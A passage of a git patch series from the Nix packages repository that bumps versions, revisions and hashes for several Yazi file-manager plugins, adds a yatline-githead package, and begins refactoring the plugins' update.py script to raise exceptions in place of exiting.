-    rev = "9a095057d698aaaedc4dd23d638285bd3fd647e9";
-    hash = "sha256-Lx+TliqMuaXpjaUtjdUac7ODg2yc3yrd1mSWJo9Mz2Q=";
+    rev = "d642bfb0822eb0c3c5c891ab0f4b6f897a2083cb";
+    hash = "sha256-WF2b9t0VPGNP3QXgr/GMDFcSh5bsXC7KKd2ICL4WDHo=";
   };
 
   meta = {

From 75df65ccdcf7d514ba7089b5049671395b4ce5c1 Mon Sep 17 00:00:00 2001
From: Austin Horstman <khaneliman12@gmail.com>
Date: Fri, 30 May 2025 11:38:43 -0500
Subject: [PATCH 0958/4511] yaziPlugins.mount: 25.2.26-unstable-2025-03-02 ->
 25.5.28-unstable-2025-05-28

Signed-off-by: Austin Horstman <khaneliman12@gmail.com>
(cherry picked from commit 95624aaf2b6633195ea26266d917648b1eb62a5e)
Signed-off-by: Matthias Beyer <mail@beyermatthias.de>
---
 pkgs/by-name/ya/yazi/plugins/mount/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ya/yazi/plugins/mount/default.nix b/pkgs/by-name/ya/yazi/plugins/mount/default.nix
index 8f11fe0b381c..acbe88347eba 100644
--- a/pkgs/by-name/ya/yazi/plugins/mount/default.nix
+++ b/pkgs/by-name/ya/yazi/plugins/mount/default.nix
@@ -5,13 +5,13 @@
 }:
 mkYaziPlugin {
   pname = "mount.yazi";
-  version = "25.2.26-unstable-2025-03-02";
+  version = "25.5.28-unstable-2025-05-28";
 
   src = fetchFromGitHub {
     owner = "yazi-rs";
     repo = "plugins";
-    rev = "b44c245500b34e713732a9130bf436b13b4777e9";
-    hash = "sha256-nZ8yfnKvNLM5aA+mmQ3PkfM5lwSKwWnkQewcg9GwseI=";
+    rev = "f9b3f8876eaa74d8b76e5b8356aca7e6a81c0fb7";
+    hash = "sha256-EoIrbyC7WgRzrEtvso2Sr6HnNW91c5E+RZGqnjEi6Zo=";
   };
 
   meta = {

From f1397d81bc9e8f12cedf7a9c147b5d5d412a0e6b Mon Sep 17 00:00:00 2001
From: Austin Horstman <khaneliman12@gmail.com>
Date: Fri, 30 May 2025 11:39:44 -0500
Subject: [PATCH 0959/4511] yaziPlugins.piper: 25.4.8-unstable-2025-04-21 ->
 25.5.28-unstable-2025-05-28

Signed-off-by: Austin Horstman <khaneliman12@gmail.com>
(cherry picked from commit 995aec9ea5a0d9868fee73d9b0c830e9a531e051)
Signed-off-by: Matthias Beyer <mail@beyermatthias.de>
---
 pkgs/by-name/ya/yazi/plugins/piper/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ya/yazi/plugins/piper/default.nix b/pkgs/by-name/ya/yazi/plugins/piper/default.nix
index e2955f4ba695..6e84a799159a 100644
--- a/pkgs/by-name/ya/yazi/plugins/piper/default.nix
+++ b/pkgs/by-name/ya/yazi/plugins/piper/default.nix
@@ -5,13 +5,13 @@
 }:
 mkYaziPlugin {
   pname = "piper.yazi";
-  version = "25.4.8-unstable-2025-04-21";
+  version = "25.5.28-unstable-2025-05-28";
 
   src = fetchFromGitHub {
     owner = "yazi-rs";
     repo = "plugins";
-    rev = "71f925e4b7d6d2fa3e1e7822422d755ea709eb69";
-    hash = "sha256-4XhVQ72JIfkT9A2hcE+3ch/xLEBe+HeFmjupy266OJo=";
+    rev = "f9b3f8876eaa74d8b76e5b8356aca7e6a81c0fb7";
+    hash = "sha256-EoIrbyC7WgRzrEtvso2Sr6HnNW91c5E+RZGqnjEi6Zo=";
   };
 
   meta = {

From 6fa8d2a7a69822dc73d343bbc02ef8349d185fac Mon Sep 17 00:00:00 2001
From: Austin Horstman <khaneliman12@gmail.com>
Date: Fri, 30 May 2025 11:39:56 -0500
Subject: [PATCH 0960/4511] yaziPlugins.projects: 0-unstable-2025-05-17 ->
 0-unstable-2025-05-29

Signed-off-by: Austin Horstman <khaneliman12@gmail.com>
(cherry picked from commit 5d86d170004bda855f780443edc51da5ad7da248)
Signed-off-by: Matthias Beyer <mail@beyermatthias.de>
---
 pkgs/by-name/ya/yazi/plugins/projects/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ya/yazi/plugins/projects/default.nix b/pkgs/by-name/ya/yazi/plugins/projects/default.nix
index 0246c5cb5fc4..9421f0543958 100644
--- a/pkgs/by-name/ya/yazi/plugins/projects/default.nix
+++ b/pkgs/by-name/ya/yazi/plugins/projects/default.nix
@@ -5,13 +5,13 @@
 }:
 mkYaziPlugin {
   pname = "projects.yazi";
-  version = "0-unstable-2025-05-17";
+  version = "0-unstable-2025-05-29";
 
   src = fetchFromGitHub {
     owner = "MasouShizuka";
     repo = "projects.yazi";
-    rev = "df44165610faa66f623a3e2085e05085cba23d66";
-    hash = "sha256-XVN605TujmA4f1gCjJRnBBrCjmfoTdtNwhRBEqTBnLM=";
+    rev = "96af237d2255d5dab5493c020f55561f63c28777";
+    hash = "sha256-N8XH6adXPk/iU173fXEViv0NPwFZ0WYiyEJGBs4c6ec=";
   };
 
   meta = {

From 207f5c9f3b8f8080ffa00fce345abacd5ff973fe Mon Sep 17 00:00:00 2001
From: Austin Horstman <khaneliman12@gmail.com>
Date: Fri, 30 May 2025 11:40:19 -0500
Subject: [PATCH 0961/4511] yaziPlugins.restore: 25.2.7-unstable-2025-04-24 ->
 25.5.28-unstable-2025-05-30

Signed-off-by: Austin Horstman <khaneliman12@gmail.com>
(cherry picked from commit d237bf664f0c4f27721fc1d6c61c56ce3f583a86)
Signed-off-by: Matthias Beyer <mail@beyermatthias.de>
---
 pkgs/by-name/ya/yazi/plugins/restore/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ya/yazi/plugins/restore/default.nix b/pkgs/by-name/ya/yazi/plugins/restore/default.nix
index 47800a8ac54d..f5ed65cfde5b 100644
--- a/pkgs/by-name/ya/yazi/plugins/restore/default.nix
+++ b/pkgs/by-name/ya/yazi/plugins/restore/default.nix
@@ -5,13 +5,13 @@
 }:
 mkYaziPlugin {
   pname = "restore.yazi";
-  version = "25.2.7-unstable-2025-04-24";
+  version = "25.5.28-unstable-2025-05-30";
 
   src = fetchFromGitHub {
     owner = "boydaihungst";
     repo = "restore.yazi";
-    rev = "539aad5077dc8b342a580036e416f2b949b6590e";
-    hash = "sha256-ngwbweKF7pSEpzy1TNzbKz8cFIWaDison5vCiGxkHFk=";
+    rev = "86dff4319ace07da83c235ccab7a14bc0853a03a";
+    hash = "sha256-7hMFTeNghXIf3Db2AtguIzLkWbXYtJNwGkFdymDr35s=";
   };
 
   meta = {

From 1ae39ce71982abdc69a0267b948f63e4a131d9f2 Mon Sep 17 00:00:00 2001
From: Austin Horstman <khaneliman12@gmail.com>
Date: Fri, 30 May 2025 11:40:30 -0500
Subject: [PATCH 0962/4511] yaziPlugins.rich-preview: 0-unstable-2025-04-22 ->
 0-unstable-2025-05-30

Signed-off-by: Austin Horstman <khaneliman12@gmail.com>
(cherry picked from commit 5736fd4d56f14e46fdeebe1c65239e481db2eb23)
Signed-off-by: Matthias Beyer <mail@beyermatthias.de>
---
 pkgs/by-name/ya/yazi/plugins/rich-preview/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ya/yazi/plugins/rich-preview/default.nix b/pkgs/by-name/ya/yazi/plugins/rich-preview/default.nix
index ddc7f3dd9264..ef08195971de 100644
--- a/pkgs/by-name/ya/yazi/plugins/rich-preview/default.nix
+++ b/pkgs/by-name/ya/yazi/plugins/rich-preview/default.nix
@@ -5,13 +5,13 @@
 }:
 mkYaziPlugin {
   pname = "rich-preview.yazi";
-  version = "0-unstable-2025-04-22";
+  version = "0-unstable-2025-05-30";
 
   src = fetchFromGitHub {
     owner = "AnirudhG07";
     repo = "rich-preview.yazi";
-    rev = "fdcf37320e35f7c12e8087900eebffcdafaee8cb";
-    hash = "sha256-HO9hTCfgGTDERClZaLnUEWDvsV9GMK1kwFpWNM1wq8I=";
+    rev = "de28f504f21ee78b9e4799f116df2aa177384229";
+    hash = "sha256-pJ5aMAECK0M4v/8czGP5RZygfRAyS9IdQCeP3ZP1Gcs=";
   };
 
   meta = {

From f71c138719d94b7ed8d7f31cc5d9810865964334 Mon Sep 17 00:00:00 2001
From: Austin Horstman <khaneliman12@gmail.com>
Date: Fri, 30 May 2025 11:40:40 -0500
Subject: [PATCH 0963/4511] yaziPlugins.rsync: 0-unstable-2025-04-12 ->
 0-unstable-2025-04-24

Signed-off-by: Austin Horstman <khaneliman12@gmail.com>
(cherry picked from commit 9d465814f5031b37f44d5c6d63ed337c6cfd2269)
Signed-off-by: Matthias Beyer <mail@beyermatthias.de>
---
 pkgs/by-name/ya/yazi/plugins/rsync/default.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/ya/yazi/plugins/rsync/default.nix b/pkgs/by-name/ya/yazi/plugins/rsync/default.nix
index 349d06f38b9a..33a824ca6f05 100644
--- a/pkgs/by-name/ya/yazi/plugins/rsync/default.nix
+++ b/pkgs/by-name/ya/yazi/plugins/rsync/default.nix
@@ -5,7 +5,7 @@
 }:
 mkYaziPlugin {
   pname = "rsync.yazi";
-  version = "0-unstable-2025-04-12";
+  version = "0-unstable-2025-04-24";
   src = fetchFromGitHub {
     owner = "GianniBYoung";
     repo = "rsync.yazi";

From 72cec162550cb0dccc149cde675a1e5bfe6af313 Mon Sep 17 00:00:00 2001
From: Austin Horstman <khaneliman12@gmail.com>
Date: Fri, 30 May 2025 11:40:56 -0500
Subject: [PATCH 0964/4511] yaziPlugins.smart-enter:
 25.2.26-unstable-2025-03-02 -> 25.5.28-unstable-2025-05-28

Signed-off-by: Austin Horstman <khaneliman12@gmail.com>
(cherry picked from commit 1e8307aa5e63ba19aa0c5f7edfd321fc78b856a9)
Signed-off-by: Matthias Beyer <mail@beyermatthias.de>
---
 pkgs/by-name/ya/yazi/plugins/smart-enter/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ya/yazi/plugins/smart-enter/default.nix b/pkgs/by-name/ya/yazi/plugins/smart-enter/default.nix
index 5bd33f0d676d..67d9e7ddcc25 100644
--- a/pkgs/by-name/ya/yazi/plugins/smart-enter/default.nix
+++ b/pkgs/by-name/ya/yazi/plugins/smart-enter/default.nix
@@ -5,13 +5,13 @@
 }:
 mkYaziPlugin {
   pname = "smart-enter.yazi";
-  version = "25.2.26-unstable-2025-03-02";
+  version = "25.5.28-unstable-2025-05-28";
 
   src = fetchFromGitHub {
     owner = "yazi-rs";
     repo = "plugins";
-    rev = "b44c245500b34e713732a9130bf436b13b4777e9";
-    hash = "sha256-nZ8yfnKvNLM5aA+mmQ3PkfM5lwSKwWnkQewcg9GwseI=";
+    rev = "d642bfb0822eb0c3c5c891ab0f4b6f897a2083cb";
+    hash = "sha256-WF2b9t0VPGNP3QXgr/GMDFcSh5bsXC7KKd2ICL4WDHo=";
   };
 
   meta = {

From f321ed4898f2c603de74cd4303c2d65979264bfb Mon Sep 17 00:00:00 2001
From: Austin Horstman <khaneliman12@gmail.com>
Date: Fri, 30 May 2025 11:41:09 -0500
Subject: [PATCH 0965/4511] yaziPlugins.smart-filter:
 25.2.26-unstable-2025-03-02 -> 25.5.28-unstable-2025-05-28

Signed-off-by: Austin Horstman <khaneliman12@gmail.com>
(cherry picked from commit bcced90c04aad4d3f92df060c7bb5a8ad6cd7de4)
Signed-off-by: Matthias Beyer <mail@beyermatthias.de>
---
 pkgs/by-name/ya/yazi/plugins/smart-filter/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ya/yazi/plugins/smart-filter/default.nix b/pkgs/by-name/ya/yazi/plugins/smart-filter/default.nix
index 95becd9e7181..e85f8bd83046 100644
--- a/pkgs/by-name/ya/yazi/plugins/smart-filter/default.nix
+++ b/pkgs/by-name/ya/yazi/plugins/smart-filter/default.nix
@@ -5,13 +5,13 @@
 }:
 mkYaziPlugin {
   pname = "smart-filter.yazi";
-  version = "25.2.26-unstable-2025-03-02";
+  version = "25.5.28-unstable-2025-05-28";
 
   src = fetchFromGitHub {
     owner = "yazi-rs";
     repo = "plugins";
-    rev = "b44c245500b34e713732a9130bf436b13b4777e9";
-    hash = "sha256-nZ8yfnKvNLM5aA+mmQ3PkfM5lwSKwWnkQewcg9GwseI=";
+    rev = "d642bfb0822eb0c3c5c891ab0f4b6f897a2083cb";
+    hash = "sha256-WF2b9t0VPGNP3QXgr/GMDFcSh5bsXC7KKd2ICL4WDHo=";
   };
 
   meta = {

From 8cb9c2b8fb14f76799aba0fc1b2d315f277c733a Mon Sep 17 00:00:00 2001
From: Austin Horstman <khaneliman12@gmail.com>
Date: Fri, 30 May 2025 11:41:22 -0500
Subject: [PATCH 0966/4511] yaziPlugins.smart-paste: 0-unstable-2025-04-27 ->
 25.5.28-unstable-2025-05-28

Signed-off-by: Austin Horstman <khaneliman12@gmail.com>
(cherry picked from commit 4da0ae4100ad3a8f6fde1f6c34ff95e41b74f972)
Signed-off-by: Matthias Beyer <mail@beyermatthias.de>
---
 pkgs/by-name/ya/yazi/plugins/smart-paste/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ya/yazi/plugins/smart-paste/default.nix b/pkgs/by-name/ya/yazi/plugins/smart-paste/default.nix
index 07d525f22814..b65318e8aa15 100644
--- a/pkgs/by-name/ya/yazi/plugins/smart-paste/default.nix
+++ b/pkgs/by-name/ya/yazi/plugins/smart-paste/default.nix
@@ -5,13 +5,13 @@
 }:
 mkYaziPlugin {
   pname = "smart-paste.yazi";
-  version = "0-unstable-2025-04-27";
+  version = "25.5.28-unstable-2025-05-28";
 
   src = fetchFromGitHub {
     owner = "yazi-rs";
     repo = "plugins";
-    rev = "864a0210d9ba1e8eb925160c2e2a25342031d8d3";
-    hash = "sha256-m3709h7/AHJAtoJ3ebDA40c77D+5dCycpecprjVqj/k=";
+    rev = "d642bfb0822eb0c3c5c891ab0f4b6f897a2083cb";
+    hash = "sha256-WF2b9t0VPGNP3QXgr/GMDFcSh5bsXC7KKd2ICL4WDHo=";
   };
 
   meta = {

From a1c5b3d2c643f3f6421309bba6f7e33e031b21f1 Mon Sep 17 00:00:00 2001
From: Austin Horstman <khaneliman12@gmail.com>
Date: Fri, 30 May 2025 11:41:34 -0500
Subject: [PATCH 0967/4511] yaziPlugins.starship: 25.4.8-unstable-2025-04-20 ->
 25.4.8-unstable-2025-05-30

Signed-off-by: Austin Horstman <khaneliman12@gmail.com>
(cherry picked from commit 865124789acafc6d5d9f1a2f1b58a0aa68c69fb8)
Signed-off-by: Matthias Beyer <mail@beyermatthias.de>
---
 pkgs/by-name/ya/yazi/plugins/starship/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ya/yazi/plugins/starship/default.nix b/pkgs/by-name/ya/yazi/plugins/starship/default.nix
index 27ec12b801b3..e8596d6ff1e2 100644
--- a/pkgs/by-name/ya/yazi/plugins/starship/default.nix
+++ b/pkgs/by-name/ya/yazi/plugins/starship/default.nix
@@ -5,13 +5,13 @@
 }:
 mkYaziPlugin {
   pname = "starship.yazi";
-  version = "25.4.8-unstable-2025-04-20";
+  version = "25.4.8-unstable-2025-05-30";
 
   src = fetchFromGitHub {
     owner = "Rolv-Apneseth";
     repo = "starship.yazi";
-    rev = "6fde3b2d9dc9a12c14588eb85cf4964e619842e6";
-    hash = "sha256-+CSdghcIl50z0MXmFwbJ0koIkWIksm3XxYvTAwoRlDY=";
+    rev = "428d43ac0846cb1885493a1f01c049a883b70155";
+    hash = "sha256-YkDkMC2SJIfpKrt93W/v5R3wOrYcat7QTbPrWqIKXG8=";
   };
 
   meta = {

From e994d450a3e1234f4fd851a25562b65dbfa3a0e3 Mon Sep 17 00:00:00 2001
From: Austin Horstman <khaneliman12@gmail.com>
Date: Fri, 30 May 2025 11:42:11 -0500
Subject: [PATCH 0968/4511] yaziPlugins.toggle-pane:
 25.2.26-unstable-2025-04-21 -> 25.5.28-unstable-2025-05-28

Signed-off-by: Austin Horstman <khaneliman12@gmail.com>
(cherry picked from commit 5b8f14d7013d7bda6f7c1aa90c5c260c01009ee0)
Signed-off-by: Matthias Beyer <mail@beyermatthias.de>
---
 pkgs/by-name/ya/yazi/plugins/toggle-pane/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ya/yazi/plugins/toggle-pane/default.nix b/pkgs/by-name/ya/yazi/plugins/toggle-pane/default.nix
index ec3503c71f20..a32473b850d2 100644
--- a/pkgs/by-name/ya/yazi/plugins/toggle-pane/default.nix
+++ b/pkgs/by-name/ya/yazi/plugins/toggle-pane/default.nix
@@ -5,13 +5,13 @@
 }:
 mkYaziPlugin {
   pname = "toggle-pane.yazi";
-  version = "25.2.26-unstable-2025-04-21";
+  version = "25.5.28-unstable-2025-05-28";
 
   src = fetchFromGitHub {
     owner = "yazi-rs";
     repo = "plugins";
-    rev = "4b027c79371af963d4ae3a8b69e42177aa3fa6ee";
-    hash = "sha256-auGNSn6tX72go7kYaH16hxRng+iZWw99dKTTUN91Cow=";
+    rev = "a54b96a3f21495ab3659e45d5354bcc8413be15c";
+    hash = "sha256-TtVaWazkk2xnomhJFinElbUsXUKAbDDhLEVq5Ah3nAk=";
   };
 
   meta = {

From 4114a898e63b96c8a0624874201c0e78b28452f1 Mon Sep 17 00:00:00 2001
From: Austin Horstman <khaneliman12@gmail.com>
Date: Fri, 30 May 2025 11:42:22 -0500
Subject: [PATCH 0969/4511] yaziPlugins.vcs-files: 25.4.8-unstable-2025-04-08
 -> 25.5.28-unstable-2025-05-28

Signed-off-by: Austin Horstman <khaneliman12@gmail.com>
(cherry picked from commit 41dd9777d16936fd0269420e765d444bc3d069b2)
Signed-off-by: Matthias Beyer <mail@beyermatthias.de>
---
 pkgs/by-name/ya/yazi/plugins/vcs-files/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ya/yazi/plugins/vcs-files/default.nix b/pkgs/by-name/ya/yazi/plugins/vcs-files/default.nix
index e02b886c0f37..043498a2d888 100644
--- a/pkgs/by-name/ya/yazi/plugins/vcs-files/default.nix
+++ b/pkgs/by-name/ya/yazi/plugins/vcs-files/default.nix
@@ -5,13 +5,13 @@
 }:
 mkYaziPlugin {
   pname = "vcs-files.yazi";
-  version = "25.4.8-unstable-2025-04-08";
+  version = "25.5.28-unstable-2025-05-28";
 
   src = fetchFromGitHub {
     owner = "yazi-rs";
     repo = "plugins";
-    rev = "a1738e8088366ba73b33da5f45010796fb33221e";
-    hash = "sha256-eiLkIWviGzG9R0XP1Cik3Bg0s6lgk3nibN6bZvo8e9o=";
+    rev = "d642bfb0822eb0c3c5c891ab0f4b6f897a2083cb";
+    hash = "sha256-WF2b9t0VPGNP3QXgr/GMDFcSh5bsXC7KKd2ICL4WDHo=";
   };
 
   meta = {

From 7b13298eb02cf90532aef445ace5afc493711717 Mon Sep 17 00:00:00 2001
From: phucleeuwu <125681538+phucleeuwu@users.noreply.github.com>
Date: Sat, 31 May 2025 16:24:58 +0700
Subject: [PATCH 0970/4511] update yaziPlugins.yatline to 
 0-unstable-2025-05-31

(cherry picked from commit 86328833587c5c7dbea5947eec38801b6745a268)
Signed-off-by: Matthias Beyer <mail@beyermatthias.de>
---
 pkgs/by-name/ya/yazi/plugins/yatline/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ya/yazi/plugins/yatline/default.nix b/pkgs/by-name/ya/yazi/plugins/yatline/default.nix
index 372e58d51d73..8df8e9e55860 100644
--- a/pkgs/by-name/ya/yazi/plugins/yatline/default.nix
+++ b/pkgs/by-name/ya/yazi/plugins/yatline/default.nix
@@ -5,13 +5,13 @@
 }:
 mkYaziPlugin {
   pname = "yatline.yazi";
-  version = "0-unstable-2025-04-22";
+  version = "0-unstable-2025-05-31";
 
   src = fetchFromGitHub {
     owner = "imsi32";
     repo = "yatline.yazi";
-    rev = "2ecf715d33866e5f8a63af25f6a242821746ddb7";
-    hash = "sha256-l4IrdALlgKd1USxE2+bD0Lkw3DgBoQDBxgxevrFhytU=";
+    rev = "4872af0da53023358154c8233ab698581de5b2b2";
+    hash = "sha256-7uk8QXAlck0/4bynPdh/m7Os2ayW1UXbELmusPqRmf4=";
   };
 
   meta = {

From 6c2b3c96544977c9af7b56e8481309734e13a4a7 Mon Sep 17 00:00:00 2001
From: phucleeuwu <125681538+phucleeuwu@users.noreply.github.com>
Date: Sat, 31 May 2025 16:47:44 +0700
Subject: [PATCH 0971/4511] yaziPlugins.yatline-githead: init at
 0-unstable-2025-05-31

(cherry picked from commit 48fcb86b58ef40ab21a640fda2422e46b3fb0efb)
Signed-off-by: Matthias Beyer <mail@beyermatthias.de>
---
 .../yazi/plugins/yatline-githead/default.nix  | 23 +++++++++++++++++++
 1 file changed, 23 insertions(+)
 create mode 100644 pkgs/by-name/ya/yazi/plugins/yatline-githead/default.nix

diff --git a/pkgs/by-name/ya/yazi/plugins/yatline-githead/default.nix b/pkgs/by-name/ya/yazi/plugins/yatline-githead/default.nix
new file mode 100644
index 000000000000..fbd722c2732e
--- /dev/null
+++ b/pkgs/by-name/ya/yazi/plugins/yatline-githead/default.nix
@@ -0,0 +1,23 @@
+{
+  lib,
+  fetchFromGitHub,
+  mkYaziPlugin,
+}:
+mkYaziPlugin {
+  pname = "yatline-githead.yazi";
+  version = "0-unstable-2025-05-31";
+
+  src = fetchFromGitHub {
+    owner = "imsi32";
+    repo = "yatline-githead.yazi";
+    rev = "f8f969e84c39ad4215334ea5012183a2a5a6160b";
+    hash = "sha256-Cs8zSYtUfdCmKwIkJwQGyQNeSOmmpPvObCMnGm+32zg=";
+  };
+
+  meta = {
+    description = "githead.yazi with yatline.yazi support";
+    homepage = "https://github.com/imsi32/yatline-githead.yazi";
+    license = lib.licenses.mit;
+    maintainers = with lib.maintainers; [ khaneliman ];
+  };
+}

From b7e36fe9eba3406c9ee21083cd34ea91e7221812 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 2 Jun 2025 15:53:19 +0000
Subject: [PATCH 0972/4511] yaziPlugins.bypass: 25.3.2-unstable-2025-05-30 ->
 25.3.2-unstable-2025-06-01

(cherry picked from commit 01ab1fc0cb3cc2781cabd0d9d404edcef91e298b)
Signed-off-by: Matthias Beyer <mail@beyermatthias.de>
---
 pkgs/by-name/ya/yazi/plugins/bypass/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ya/yazi/plugins/bypass/default.nix b/pkgs/by-name/ya/yazi/plugins/bypass/default.nix
index f98a0ad23c66..a4a62b2b4e33 100644
--- a/pkgs/by-name/ya/yazi/plugins/bypass/default.nix
+++ b/pkgs/by-name/ya/yazi/plugins/bypass/default.nix
@@ -5,13 +5,13 @@
 }:
 mkYaziPlugin {
   pname = "bypass.yazi";
-  version = "25.3.2-unstable-2025-05-30";
+  version = "25.3.2-unstable-2025-06-01";
 
   src = fetchFromGitHub {
     owner = "Rolv-Apneseth";
     repo = "bypass.yazi";
-    rev = "381fb89a21a58605c555c109f190309b2d116d30";
-    hash = "sha256-04cyOlG843Ot+jRT8GNFjJOzV4YdPBpI9XqbaK6KXu0=";
+    rev = "c1e5fcf6eeed0bfceb57b9738da6db9d0fb8af56";
+    hash = "sha256-ZndDtTMkEwuIMXG4SGe4B95Nw4fChfFhxJHj+IY30Kc=";
   };
 
   meta = {

From fe5c7591558d1abfd7bf9955f2b87ded729a5e7e Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 2 Jun 2025 22:19:13 +0000
Subject: [PATCH 0973/4511] yaziPlugins.ouch: 0-unstable-2025-04-12 ->
 0-unstable-2025-06-01

(cherry picked from commit 21ec0dd7a84bc925a3613b97f553c1ba0f20f0f7)
Signed-off-by: Matthias Beyer <mail@beyermatthias.de>
---
 pkgs/by-name/ya/yazi/plugins/ouch/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ya/yazi/plugins/ouch/default.nix b/pkgs/by-name/ya/yazi/plugins/ouch/default.nix
index aec407f88dad..7e1d00065fed 100644
--- a/pkgs/by-name/ya/yazi/plugins/ouch/default.nix
+++ b/pkgs/by-name/ya/yazi/plugins/ouch/default.nix
@@ -5,13 +5,13 @@
 }:
 mkYaziPlugin {
   pname = "ouch.yazi";
-  version = "0-unstable-2025-04-12";
+  version = "0-unstable-2025-06-01";
 
   src = fetchFromGitHub {
     owner = "ndtoan96";
     repo = "ouch.yazi";
-    rev = "2496cd9ac2d1fb52597b22ae84f3af06c826a86d";
-    hash = "sha256-OsNfR7rtnq+ceBTiFjbz+NFMSV/6cQ1THxEFzI4oPJk=";
+    rev = "10b462765f37502065555e83c68a72bb26870fe2";
+    hash = "sha256-mtXl76a54Deg4cyrD0wr++sD/5b/kCsnJ+ngM6OokTc=";
   };
 
   meta = {

From 790e54e65de22cc2c84def84dd64e7176a2200c7 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 6 Jun 2025 05:17:25 +0000
Subject: [PATCH 0974/4511] yaziPlugins.restore: 25.5.28-unstable-2025-05-30 ->
 25.5.31-unstable-2025-06-05

(cherry picked from commit 8712db665d8606223dfe85f6ad9f06160a3f760a)
Signed-off-by: Matthias Beyer <mail@beyermatthias.de>
---
 pkgs/by-name/ya/yazi/plugins/restore/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ya/yazi/plugins/restore/default.nix b/pkgs/by-name/ya/yazi/plugins/restore/default.nix
index f5ed65cfde5b..d24769c725c2 100644
--- a/pkgs/by-name/ya/yazi/plugins/restore/default.nix
+++ b/pkgs/by-name/ya/yazi/plugins/restore/default.nix
@@ -5,13 +5,13 @@
 }:
 mkYaziPlugin {
   pname = "restore.yazi";
-  version = "25.5.28-unstable-2025-05-30";
+  version = "25.5.31-unstable-2025-06-05";
 
   src = fetchFromGitHub {
     owner = "boydaihungst";
     repo = "restore.yazi";
-    rev = "86dff4319ace07da83c235ccab7a14bc0853a03a";
-    hash = "sha256-7hMFTeNghXIf3Db2AtguIzLkWbXYtJNwGkFdymDr35s=";
+    rev = "b7c33766e0bc4bbbb99e8e934be90e3beb881d29";
+    hash = "sha256-qtthY7eySqXoA3TARubZF0SsYkkLEgkjdtPUxR5ro0I=";
   };
 
   meta = {

From c3d53847191f797250b88e0d9b807cbd1fdbd15f Mon Sep 17 00:00:00 2001
From: Austin Horstman <khaneliman12@gmail.com>
Date: Thu, 5 Jun 2025 22:39:10 -0500
Subject: [PATCH 0975/4511] yaziPlugins.update: allow updating all in set

Signed-off-by: Austin Horstman <khaneliman12@gmail.com>
(cherry picked from commit e9983eca27b81a963c7d11858193e22395ed9194)
Signed-off-by: Matthias Beyer <mail@beyermatthias.de>
---
 pkgs/by-name/ya/yazi/plugins/update.py | 198 ++++++++++++++++++++-----
 1 file changed, 159 insertions(+), 39 deletions(-)

diff --git a/pkgs/by-name/ya/yazi/plugins/update.py b/pkgs/by-name/ya/yazi/plugins/update.py
index 4ad6135906c7..0760c877c293 100755
--- a/pkgs/by-name/ya/yazi/plugins/update.py
+++ b/pkgs/by-name/ya/yazi/plugins/update.py
@@ -1,12 +1,14 @@
 #!/usr/bin/env nix-shell
-#!nix-shell -i python3 -p python3 python3Packages.requests python3Packages.packaging nix curl git
+#!nix-shell -i python3 -p python3 python3Packages.requests python3Packages.packaging nix curl git argparse
 
+import argparse
+import json
 import os
 import re
 import subprocess
 import sys
 from pathlib import Path
-from typing import Dict, Tuple
+from typing import Dict, List, Optional, Tuple
 
 import requests
 from packaging import version
@@ -17,9 +19,10 @@ def run_command(cmd: str, capture_output: bool = True) -> str:
     result = subprocess.run(cmd, shell=True, text=True, capture_output=capture_output)
     if result.returncode != 0:
         if capture_output:
-            print(f"Error running command: {cmd}")
-            print(f"stderr: {result.stderr}")
-        sys.exit(1)
+            error_msg = f"Error running command: {cmd}\nstderr: {result.stderr}"
+            raise RuntimeError(error_msg)
+        else:
+            raise RuntimeError(f"Command failed: {cmd}")
     return result.stdout.strip() if capture_output else ""
 
 
@@ -74,8 +77,7 @@ def fetch_plugin_content(owner: str, repo: str, plugin_pname: str, headers: Dict
         response.raise_for_status()
         return response.text
     except requests.RequestException as e:
-        print(f"Error fetching plugin content: {e}")
-        sys.exit(1)
+        raise RuntimeError(f"Error fetching plugin content: {e}")
 
 
 def check_version_compatibility(plugin_content: str, plugin_name: str, yazi_version: str) -> str:
@@ -88,8 +90,9 @@ def check_version_compatibility(plugin_content: str, plugin_name: str, yazi_vers
     else:
         # Check if the plugin is compatible with current Yazi version
         if version.parse(required_version) > version.parse(yazi_version):
-            print(f"{plugin_name} plugin requires Yazi {required_version}, but we have {yazi_version}")
-            sys.exit(0)
+            message = f"{plugin_name} plugin requires Yazi {required_version}, but we have {yazi_version}"
+            print(message)
+            raise RuntimeError(message)
 
     return required_version
 
@@ -110,8 +113,7 @@ def get_latest_commit(owner: str, repo: str, plugin_pname: str, headers: Dict[st
         response.raise_for_status()
         commit_data = response.json()
     except requests.RequestException as e:
-        print(f"Error fetching commit data: {e}")
-        sys.exit(1)
+        raise RuntimeError(f"Error fetching commit data: {e}")
 
     if owner == "yazi-rs":
         latest_commit = commit_data[0]["sha"]
